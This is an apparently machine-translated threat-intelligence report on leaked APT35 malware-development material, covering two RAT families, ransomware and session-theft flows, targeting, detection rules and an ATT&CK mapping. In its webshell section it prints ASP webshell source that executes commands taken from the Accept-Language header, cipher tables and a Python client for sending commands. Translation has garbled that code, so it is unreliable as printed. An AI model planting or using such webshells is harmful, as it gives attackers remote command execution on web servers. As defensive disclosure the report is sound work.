Voltar
Inteligência do adversário
Tabela de conteúdo

Sumário executivo

Os documentos do episódio 3 revelam o pipeline completo de desenvolvimento de malware do APT35/Charming Kitten, incluindo duas famílias distintas de RAT (Saqeb System e RAT-2AC2), webshells personalizados, materiais de treinamento e procedimentos de teste operacional. Essa coleção representa uma operação profissional de desenvolvimento de malware com garantia de qualidade dedicada, pesquisa antidetecção e arquitetura modular projetada para persistência de longo prazo em ambientes Windows.

Esses documentos expõem todo o ciclo de vida do desenvolvimento de malware, desde materiais de treinamento em engenharia reversa até a implantação da produção, incluindo procedimentos de teste de FUD, especificações de módulos e infraestrutura operacional de webshell.

Análise

Resumo das principais descobertas

1. Arsenal de malware:

  • Sistema Saqeb: Windows RAT profissional com 5 módulos, focado em FUD, C2 multi-hop via TOR
  • RAT-2AC2: RAT baseado em .NET com back-end Flask, capacidade VNC, disfarçado de serviços legítimos
  • Webshells: Variantes personalizadas do m0s.asp usando o canal secreto do cabeçalho Accept-Language e a cifra de substituição
  • Ferramentas de suporte: Encryptor V1, kits de phishing (iscas do Google Drive), materiais de treinamento

2. Escala operacional:

  • Mais de 300 entidades comprometidas (declarado pelo APT35)
  • Mais de 6 países visados (Emirados Árabes Unidos, Jordânia, Turquia, Israel, Egito, Arábia Saudita)
  • Várias violações confirmadas: FlyDubai, Polícia de Dubai, Turismo no Deserto da Jordânia, Eposta, além de todas as vítimas do Episódio 1-2
  • Operações de longo prazo: Atividade documentada de 2022-2025

3. Nível de sofisticação:

  • Desenvolvimento avançado: Código nativo (C/C++), arquitetura modular, QA/teste profissional
  • Foco anti-detecção: laboratório FUD, evasão sistemática de AV, anti-depuração/anti-VM, ofuscação de strings
  • Segurança operacional: Multi-hop C2, integração TOR, servidores de retransmissão, criptografia de tráfego
  • Documentação de qualidade: Manuais completos, currículos de treinamento, relatórios operacionais

4. Objetivos estratégicos:

  • Inteligência regional: Bancos de dados de aeroportos/hotéis, aplicação da lei, sistemas SCADA
  • Operações anti-Israel: Grupo de ransomware da Moses' Staff, mais de 300 sites preparados para ataques
  • Campanhas de influência: Black Flags, Zion 24, “Israel, o espelho frágil”
  • Suporte do Eixo de Resistência: Compartilhamento de CFTV, coordenação de inteligência, aliança regional

Análise da família de malware

A. Sistema Saqeb - Windows RAT primário

Visão geral

  • Nome: Sistema Saqeb (1.314)
  • Organização: Instituto de Mídia Ofogh (134 153)
  • Classificação: Windows RAT avançado com arquitetura modular
  • Plataforma de destino: Windows (todas as versões)
  • Linguagem de desenvolvimento: C++ (código nativo - não dependente do.NET)
  • Arquitetura: Sistema de duas partes (Agente + Painel de Comando)

Especificações do agente:

  • Linguagem de programação: C++ (nativa)
  • Compilação: Visual Studio 2015
  • Tempo de execução: multitarefa (sinalizador /MT)
  • Dependências: independente da estrutura (código nativo)
  • Antidetecção: design focado em FUD
  • Comunicação: HTTP/HTTPS com criptografia XOR

Estrutura modular (5 componentes):

Painel de comando e controle

Pilha de tecnologia de painéis:

  • Plataforma: baseada na Web (serviço oculto TOR)
  • Backend: Não especificado (provavelmente PHP/Python)
  • Acesso: Nome de usuário/senha + CAPTCHA
  • Comunicação: HTTP sobre TOR
  • Intervalo padrão: 20 segundos (configurável)

Capacidades do painel:

Feature Description Technical Implementation
Client Management View online/offline clients Real-time status polling
File Explorer Browse/download/upload files Access-level dependent
Command Execution Windows CMD commands Real-time result return
Screenshot Capture Desktop image retrieval GDI-based capture
Keylogger Control Start/stop key logging Disk-based encrypted storage
Stealer Modules Firefox/Telegram extraction On-demand module delivery
Auto-Run Scheduling Daily/weekly persistence Configurable execution times
Remote Update Agent version updates central.dat replacement
Self-Destruct Complete removal "Kill RAT" function

Características da interface do usuário do painel (do manual):

- Adicionar novo cliente: cria um agente ZIP exclusivo protegido por senha

- Número de série: identificador exclusivo por agente (por exemplo, 337E81E3BA4B)

- Status: estados online/offline/Stop

- Controle deslizante de intervalo: ajuste a frequência de retorno de chamada (segundos)

- Registros de histórico: rastreamento de execução de comandos com carimbos de data/hora

- Gerenciamento de usuários: controle de acesso multiusuário

- Tela de bloqueio: recurso de segurança do painel

- Exportação de CSV: extração de resultados de comandos

Fluxo de execução:

1. Baixe lock.dat do servidor (codificado em hexadecimal)

2. Decodifique para rns.dll

3. Crie um arquivo BAT com o comando rundll32

4. Executar BAT → rundll32 carrega rns.dll

5. Chame a função snrProc ()

6. Destruição aleatória de bytes em arquivos acessíveis

Fluxo de trabalho de sequestro de sessões:

1. Disco de pesquisa para a pasta Telegram

2. Localizar arquivos de sessão

3. Base64 codifica todos os arquivos

4. Transmita para C2

5. O invasor substitui arquivos no novo sistema

6. Obtenha acesso ao Telegram (se não houver uma senha de nuvem)

B. RAT-2AC2 - Plataforma RAT secundária

Visão geral

  • Desenvolvimento: Linguagem C# + .NET Framework 4
  • Servidor: Python + Flask versão 2
  • Protocolo: HTTP/HTTPS
  • Arquitetura: Cliente-servidor com registro baseado em API
  • Infraestrutura: Suporta encaminhamento de DNS e vários relés

Especificações técnicas

Cliente (Agente):

  • Linguagem: C#
  • Estrutura: .NET 4.0 (código gerenciado)
  • Plataforma: Windows
  • Comunicação: HTTP REST API
  • Autenticação: token baseado em cabeçalho
  • Relatório de status: a cada 5 segundos
  • Comando inicial: execução de informações do sistema

Servidor (painel):

  • Linguagem: Python 3.x
  • Estrutura: Flask 2.x
  • Recomendação do sistema operacional: Linux Debian
  • Instalação: pip3 install -r requirement.txt
  • Execução: python3 app.py
  • Configuração: Linha final do app.py (endereço/porta)

Endpoints de API

Endpoint Method Function Parameters
/api POST Initial client registration IP, OS, CPU, RAM, AV, .NET, DOMAIN, POWERSHELL, USERNAME, PYTHON_VERSION, COUNTRY
/cmd/<id> GET Retrieve commands for client Client ID
/panel GET Web panel access Requires header token + login
/login POST Authentication Username, Password
/keylogger POST Keylogger results Client ID, logged data
/vncLauncher POST Initialize VNC Triggers bore/noVNC setup
/vncConnect GET Connect to VNC Opens browser connection
/vncTerminate POST Stop VNC Kills novncproxy/bore
/file POST File upload to server File data
/command POST Register command Client ID, command string
/result POST Command result Client ID, result data
/log GET Command history All logged commands
/download GET Download file from client Path parameter
/delete POST Delete client Client ID
/SysInfo POST System information Full systeminfo output
/uploadInDatabase POST Upload file to client File + path

Implantação de segurança

Fluxo de autenticação:

1. O cliente envia solicitação de API com token de cabeçalho

2. O servidor valida o token

3. Se válido, atribui um ID exclusivo

4. O cliente usa o ID para todas as solicitações subsequentes

5. Comandos recuperados via /cmd/ <id>

Capacidades

Acesso remoto:

  • VNC: Baseado em navegador via tunelamento NoVNC + bore.pub
  • Execução de comandos: shell CMD do Windows
  • Registro de chaves: Captura de teclado em segundo plano com armazenamento de arquivos
  • Captura de tela: Captura de imagem de desktop
  • Gerenciamento de arquivos: Upload/download com especificação de caminho

Arquitetura VNC:

1. O cliente baixa software entediante

2. Configura o servidor NoVNC

3. Executa a porta para frente via furo

4. Envia endereço bore.pub + porta para o servidor

5. O operador se conecta via navegador

6. Encerrar via VNCTerminate (elimina todos os serviços)

Operações de arquivo:

Baixar do cliente:

1. Comando: download=/path/to/file

2. O cliente lê o arquivo → Codificação Base64 → Enviar para o servidor

3. O servidor armazena o arquivo → Exibe no painel

4. O nível de acesso depende dos privilégios do cliente

Carregar para o cliente:

1. Carregar arquivo para o servidor via /file

2. Comando de registro: upload=/path/to/file/filename.ext

3. O cliente baixa do servidor

4. O cliente grava o arquivo no caminho especificado

Fluxo de trabalho do Keylogger:

1. O servidor envia o comando “keylogger”

2. O botão do painel fica vermelho (esperando)

3. O cliente começa a registrar no arquivo de disco

4. Resultados enviados periodicamente para o servidor

5. O botão do painel fica azul (dados recebidos)

6. Clique no botão para ver os resultados

Infraestrutura Webshell

A. m0s.asp - Webshell ASP avançado

Visão geral

  • Idioma: ASP clássico (VBScript)
  • Método: canal de comando baseado em cabeçalho HTTP
  • Codificação: Cifra de substituição personalizada
  • Execução: execução do comando WScript.shell

Implementação técnica

Canal de comando:

vespa

'Leia o cabeçalho Accept-Language

CMDEncoded = request.serverVariables (“HTTP_ACCEPT_LANGUAGE”)

'Decodifique por meio de cifra personalizada

cmdDecoded = Função de decodificação (cmdEncoded)

'Executar comando

Defina ObjShell = server.createObject (“WScript.shell”)

Defina ObjExec = OBJShell.exec (“cmd /c" & cmdDecoded)

'Retornar STDOUT

Response.Write objExec.stdout.readAll ()

Cifra de substituição:

Tabela de codificação (EN):

AB_CDEFG.HIJKLM! $%&* ()? nopqr-stuvwxyzabcdefghijklmnopqrstu=VWXYZ0123456789/

Tabela de decodificação (DE):

Qk3\ afcpbyjtgywsv=0egdx62x-NRVZ! ~$%_* ()? uq7os1ijfmuloetcl98k5nbrn4.prwahmiz

Lógica da função de decodificação:

  • Para cada caractere na string codificada:
    • Encontre a posição na tabela DE
    • Substituir por caractere na mesma posição na tabela EN
    • Anexar à string decodificada
  • Retornar comando decodificado

Uso operacional

Scripts de cliente (Python):

píton

# connect.py, RCE4.py, padrão rce5.py

solicitações de importação

# URLs de destino codificados (exemplos de artefatos)

alvos = [

“https://<domain>/images/flash/test9/m0s.phto “,

“http://<IP>/images/m0s.php “,

“http://<domain>/CMS/Uploads/m0s.aspx”

]

# Função de codificação (espelha o decodificador ASP)

def encode_command (cmd):

pt = “AB_CDEFG.HIJKLM! $%&* ()? nopqr-stuvwxyzabcdefghijklmnopqrstu=VWXYZ0123456789/”

de = “Qk3\\ AFcpbyjtgywsv=0EGDx62x-NRVZ! ~$%_* ()? uq7os1ijfmuloetcl98k5nbrn4.prwahmiz”

trans = str.maketrans (en, de)

retornar cmd.translate (trans)

# Loop interativo

enquanto verdadeiro:

cmd = entrada (“CMD> “)

codificado = encode_command (cmd)

    

cabeçalhos = {

“Idioma de aceitação”: codificado,

“Accept-Captcha”: “[valor predefinido]”,

“Agente do usuário”: “Mozilla/5.0...”

}

    

resposta = requests.get (target_url, cabeçalhos = cabeçalhos)

imprimir (resposta.texto)

B. file.asp/webshell.asp - Variantes mais simples

Implantação

vespa

<%

'Execução direta de comandos (sem codificação)

cmd = request.serverVariables (“HTTP_ACCEPT_LANGUAGE”)

Defina ObjShell = server.createObject (“WScript.shell”)

Defina ObjExec = OBJShell.exec (“cmd /c" & cmd)

Response.Write objExec.stdout.readAll ()

%>

Objetivo: RCE completo com privilégios de processo de trabalho do IIS, sem autenticação, execução direta do cabeçalho ao shell.

3. Inteligência de alvos

A. Análise de padrões de segmentação

Foco geográfico:

  • Primárias: Emirados Árabes Unidos (2 confirmados: FlyDubai, Polícia de Dubai)
  • Secundário: Jordânia (1 confirmado: setor de turismo)
  • Terciário: Turquia (1 confirmado: provedor de e-mail)
  • Ativo: Israel (a estrutura da pasta confirma)

Ativo: Egito (a estrutura da pasta confirma)

Segmentação setorial:

  • Aviação: FlyDubai
  • Aplicação da lei: Polícia de Dubai
  • Turismo: Deserto da Jordânia
  • Comunicações: Eposta

Padrão estratégico:

  • Infraestrutura crítica: Setor de aviação
  • Inteligência Goldmine: Sistemas de aplicação da lei
  • Inteligência econômica: Turismo (rastreamento de visitantes)
  • Vigilância de: Provedores de e-mail

B. SCADA/Industrial Targeting (do relatório #78TPDD)

Capacidades declaradas:

  • “Estabelecer acesso a infraestruturas industriais e extrair informações de domínio SCADA para utilização em operações cibernéticas ofensivas”

Implicações:

  • Reconhecimento SCADA ativo em andamento
  • Coleta de informações para futuros ataques
  • Desenvolvimento de capacidades ofensivas
  • Segmentação de infraestrutura crítica

Alvos potenciais (com base no foco regional):

  • Instalações de petróleo e gás (Emirados Árabes Unidos, Arábia Saudita)
  • Estações de tratamento de água (mencionadas: acesso à National Water Company no Episódio 2)
  • Geração/distribuição de energia
  • Usinas de dessalinização (infraestrutura crítica dos Emirados Árabes Unidos)
  • Sistemas aeroportuários (ponto de acesso FlyDubai)

C. Escala de ransomware (do relatório #78TPDD)

Conquista declarada:

  • “Estabelecendo acesso em mais de 300 sites e empresas para

ataques de ransomware em linha com a exploração de mídia”

Análise:

  • Mais de 300 entidades comprometidas: Inventário de acesso massivo
  • Pronto para ransomware: Pré-posicionado para implantação
  • Armamento da mídia: Ataques programados para causar impacto psicológico
  • Grupo de funcionários de Moisés: Atribuição pública para operações

Operações da equipe de Moisés:

  • Táticas: Ransomware e vazamentos de dados
  • Alvo: “regime sionista” (Israel)
  • Estratégia de mídia: cobertura global da rede de notícias
  • Objetivo: “Quebrar o domínio vazio na capacidade cibernética”

4. Orientação de detecção e prevenção

Detecção comportamental

Padrão comportamental de Saqeb:

Acionadores:

1. O processo cria mutex via createEventa ()

2. AND carrega a biblioteca do arquivo.dat (loadLibrary em extensão não PE)

3. E faz conexões HTTPS com cargas criptografadas com XOR

4. AND exibe um dos seguintes:

- Conexão de teclado (SetWindowsHookeX WH_KEYBOARD_LL)

- Enumeração de arquivos no nível raiz do disco

- Várias pequenas transmissões de rede com atrasos

- Acesso ao diretório de perfis do Firefox (logins.json)

- Acesso à pasta do Telegram (D877f783d5d3ef8cs)

Severidade: CRÍTICA

Resposta: Isole, colete o despejo de memória, alerte o SOC

Padrão comportamental RAT-2AC2:

Regra: APT35_RAT2AC2_Behavior

Acionadores:

1. O executável.NET com nome semelhante a um serviço é executado em um local não padrão

2. AND transforma HTTP POST no endpoint /api com dados de enumeração do sistema

3. <id>AND pesquisa o endpoint /cmd/ a cada 5-10 segundos

4. AND exibe um dos seguintes:

- Baixa o software bore.pub

- Inicia o serviço NoVNC

- Executa o comando systeminfo

- Cria arquivos no formato Base64

- Atividade de encaminhamento de portas

Severidade: CRÍTICA

Resposta: Elimine o processo, bloqueie IPs C2, investigação forense

Padrão comportamental Webshell:

Regra: APT35_WebShell_Behavior

Acionadores:

1. Processo de trabalho do IIS (w3wp.exe)

2. E gera cmd.exe ou powershell.exe

3. O comando AND inclui palavras-chave suspeitas:

- whoami, usuário da rede, grupo local da rede

- ipconfig, netstat, lista de tarefas

- dir C:\, digite [arquivo]

- WMIC, NET USE (movimento lateral)

4. E a solicitação HTTP continha um cabeçalho incomum de Accept-Language

Severidade: ALTA

Resposta: bloqueie o IP de origem, elimine o processo da web, verifique se há webshells persistentes

5. Mapeamento MITRE ATT&CK

Adversary techniques & evidence mapping
Tactic Technique Sub-Technique Evidence Malware
Initial Access T1566 - Phishing T1566.001 - Spearphishing Attachment Google Drive phishing kit with .rar files All campaigns
Initial Access T1190 - Exploit Public-Facing Application Webshell deployment on web servers m0s.asp variants
Execution T1059 - Command and Scripting Interpreter T1059.001 - PowerShell Webshell cmd execution m0s.asp, RAT-2AC2
Execution T1059.003 - Windows Command Shell cmd /c execution via WScript.Shell m0s.asp, file.asp
Execution T1204 - User Execution T1204.002 - Malicious File Phishing attachments, malware executables Saqeb, RAT-2AC2
Execution T1106 - Native API CreateEventA, LoadLibrary, GetProcAddress Saqeb main
Persistence T1543 - Create or Modify System Process T1543.003 - Windows Service Service masquerading (WinUpdateService.exe, etc.) RAT-2AC2
Persistence T1547 - Boot or Logon Autostart Execution T1547.001 - Registry Run Keys Auto-run scheduling (daily/weekly) Saqeb
Persistence T1505 - Server Software Component T1505.003 - Web Shell m0s.asp, file.asp, webshell.asp deployed Webshells
Privilege Escalation T1543 - Create or Modify System Process T1543.003 - Windows Service Elevated service creation RAT-2AC2
Defense Evasion T1027 - Obfuscated Files or Information T1027.002 - Software Packing Hex encoding of modules (bin2hex.py) Saqeb modules
Defense Evasion T1027.007 - Dynamic API Resolution LoadLibrary + GetProcAddress at runtime Saqeb main
Defense Evasion T1140 - Deobfuscate/Decode Files or Information Runtime hex decoding, XOR decryption, string deobfuscation Saqeb, webshells
Defense Evasion T1036 - Masquerading T1036.004 - Masquerade Task or Service Legitimate service names (Microsoft, Exchange, Windows) RAT-2AC2
Defense Evasion T1036.008 - Masquerade File Type .dat extensions for DLLs Saqeb modules
Defense Evasion T1070 - Indicator Removal T1070.004 - File Deletion Self-destruct capability ("Kill RAT") Saqeb
Defense Evasion T1112 - Modify Registry Registry manipulation for persistence (minimal to avoid detection) Saqeb
Defense Evasion T1497 - Virtualization/Sandbox Evasion Anti-VM techniques (training curriculum Section 8) All malware
Defense Evasion T1622 - Debugger Evasion Anti-debug mechanisms Saqeb (documented in manual)
Defense Evasion T1562 - Impair Defenses T1562.001 - Disable or Modify Tools AV exclusion paths in file destruction module rns.dll
Credential Access T1555 - Credentials from Password Stores T1555.003 - Credentials from Web Browsers Firefox password extraction (nss3.dll abuse) stler.dll (creds.dat)
Credential Access T1552 - Unsecured Credentials T1552.001 - Credentials In Files Telegram session file theft telg.dll (msg.dat)
Credential Access T1056 - Input Capture T1056.001 - Keylogging SetWindowsHookEx keyboard hooking klg.dll (logging.dat)
Discovery T1082 - System Information Discovery systeminfo command execution RAT-2AC2, webshells
Discovery T1083 - File and Directory Discovery Disk-level file enumeration (Fexp function) Saqeb main
Discovery T1057 - Process Discovery Process enumeration capabilities All RATs
Discovery T1033 - System Owner/User Discovery whoami, username collection All malware
Discovery T1016 - System Network Configuration Discovery ipconfig, network enumeration Webshells, RATs
Discovery T1049 - System Network Connections Discovery netstat commands Webshells
Discovery T1518 - Software Discovery T1518.001 - Security Software Discovery AV detection (Kaspersky, BitDefender exclusions) Saqeb, RAT-2AC2
Lateral Movement T1021 - Remote Services T1021.006 - Windows Remote Management WMIC commands in webshell scripts RCE4.py comments
Lateral Movement T1080 - Taint Shared Content File upload to UNC shares Webshell comments (vmware-tools.exe example), connect.py
Collection T1005 - Data from Local System File download capabilities, Firefox/Telegram data extraction Saqeb, RAT-2AC2
Collection T1113 - Screen Capture Screenshot functionality (capHandler) Saqeb, RAT-2AC2
Collection T1119 - Automated Collection Automated file enumeration and exfiltration Saqeb
Collection T1056 - Input Capture T1056.001 - Keylogging Keyboard hook with window title logging klg.dll
Command & Control T1071 - Application Layer Protocol T1071.001 - Web Protocols HTTP/HTTPS C2 communication All malware
Command & Control T1132 - Data Encoding T1132.001 - Standard Encoding XOR encryption, Base64, hex encoding, substitution cipher All malware
Command & Control T1573 - Encrypted Channel T1573.001 - Symmetric Cryptography XOR-based traffic encryption Saqeb
Command & Control T1090 - Proxy T1090.003 - Multi-hop Proxy Relay servers + TOR (7 hops) Saqeb
Command & Control T1095 - Non-Application Layer Protocol TOR network usage (.onion addresses) Saqeb
Command & Control T1571 - Non-Standard Port Webshells on ports 9003, various custom ports Episodes 1-2 evidence
Command & Control T1001 - Data Obfuscation T1001.002 - Steganography Covert channel via Accept-Language header m0s.asp variants
Command & Control T1105 - Ingress Tool Transfer Module download from C2 (dwPlugin function) Saqeb
Exfiltration T1041 - Exfiltration Over C2 Channel Data exfiltration via HTTP POST All malware
Exfiltration T1020 - Automated Exfiltration Scheduled data collection and transmission Saqeb
Exfiltration T1030 - Data Transfer Size Limits Chunked file transfer (flwHandler) Saqeb
Impact T1486 - Data Encrypted for Impact Ransomware encryption routine observed in payloads Saqeb-ransom variant

Referências

https://github.com/KittenBusters/CharmingKitten

Koushik Pal
Threat Researcher at CloudSEK, specializing in digital forensics, incident response, and adversary hunting to uncover attacker motives, methods, and operations.
Pagilla Manohar Reddy

Blogs relacionados